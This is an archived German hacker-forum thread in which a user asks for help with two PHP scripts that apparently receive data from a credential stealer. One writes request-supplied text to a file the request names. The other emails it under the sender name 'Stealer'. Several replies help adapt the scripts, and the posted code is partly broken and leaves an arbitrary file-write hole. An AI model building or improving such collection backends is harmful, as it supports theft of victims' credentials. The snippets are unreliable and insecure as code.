PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Send.php & Email.php Zeilenumbruch übergeben?



hackerking
07.06.2009, 12:45
Jop Hey Leute... Hab mal ein paar fragen.
Hab um ein log auf'm FTP zu speichern das teil: (von tmh paar threads unten)


<?php

$Datei = $_GET['file'];
$Text = $_GET['text'];

$FilePointer = fopen($Datei.".txt", "w");
fwrite($FilePointer, $Text);
fclose($FilePointer);

?>


und für email das:


<?php
$mailtext= $_GET['msg'];

$absender="From:";
$absender.="Stealer";
mail("Mail",$benutzer,$mailtext,$absender); eintragen
print("E-mail wurde erfolgreich verschickt!");
?>
<html>
<body>
</body>
</html>

Wie kann ich jetzt bei beiden zeilenumbrüchje übergeben?

BallaBurg
07.06.2009, 12:50
Zeilenumbrüche werden in PHP mit "\n\r" übergeben. Wichtig dass du " (DoubleQuotes) benutzt.

hackerking
07.06.2009, 12:51
klappt nicht...
habs so gemacht:

send.php?msg=TestMail"\n\r"affs

BallaBurg
07.06.2009, 12:56
Warum benutzt du für sowas ne GET-Variable? POST-Vars wären für einen längeren Text viel besser und da funktioniert es sehr gut mit den Zeilenumbrüchen.

VeN0m
07.06.2009, 13:05
$mailtext = str_replace("<br>","\n\r",$_GET['msg']);


Nur so als Beispiel...
send.php?msg=Text<br>TextindernaechstenZeile<br>undsoweiter
Das <br> würde dann mit \n\r ersetzt werden.
Oder wie wäre es mit folgendem:



$mailtext = wordwrap($_GET['msg'],10,"\n\r");


Ist etwas schöner...
Hierbei wird nach zehn Zeichen automatisch ein \n\r hinzugefügt.
Jedoch stimmt das nicht ganz mit den Double-Quotes. Wenn Du diese per URL übergibst sähe das so aus:



$mailtext = "TestMail"\n\r"affs";


Wenn ich jetzt mal die Variable mit dem ersetze, was dahinter steckt ;).
Ich persönlich würde aber ebenfalls die Übertragung per POST bevorzugen...

hackerking
07.06.2009, 13:08
Und wie überträgt man per POST?^^
kenn mich nich mit PHP aus^^

EDIT// @Power-Seven das klappt nicht :(

dlite
07.06.2009, 14:14
per post variable übetragen:


<form method="post">
Nachricht<textarea id="mail"></textarea>
<input type="submit" value="abschicken">
<?
$mail = $_POST['mail'];
?>


Ich würd dir empfehlen ein PHP tutorial durchzulesen, bevor du dich an so etwas wagst, den Post Get und Cookies gehörn zu den Basics die du beherrschen solltest.

hackerking
07.06.2009, 14:52
das funktz i-wie nich..
kannste mal den komplette ncode posten?

wacked
07.06.2009, 15:15
lawl
das wird auch nich funktionieren weil du dafür auch den steler umschreiben müsstest.
Aba hey gute laune:


<?php
$mailtext= $_POST['msg'];

$absender="From:";
$absender.="Stealer";
mail("Mail",$benutzer,$mailtext,$absender); eintragen
print("E-mail wurde erfolgreich verschickt!");
?>
<html>
<body>
</body>
jetzt musst du natürlich noch zeilenümbruche reinmachen...
</html>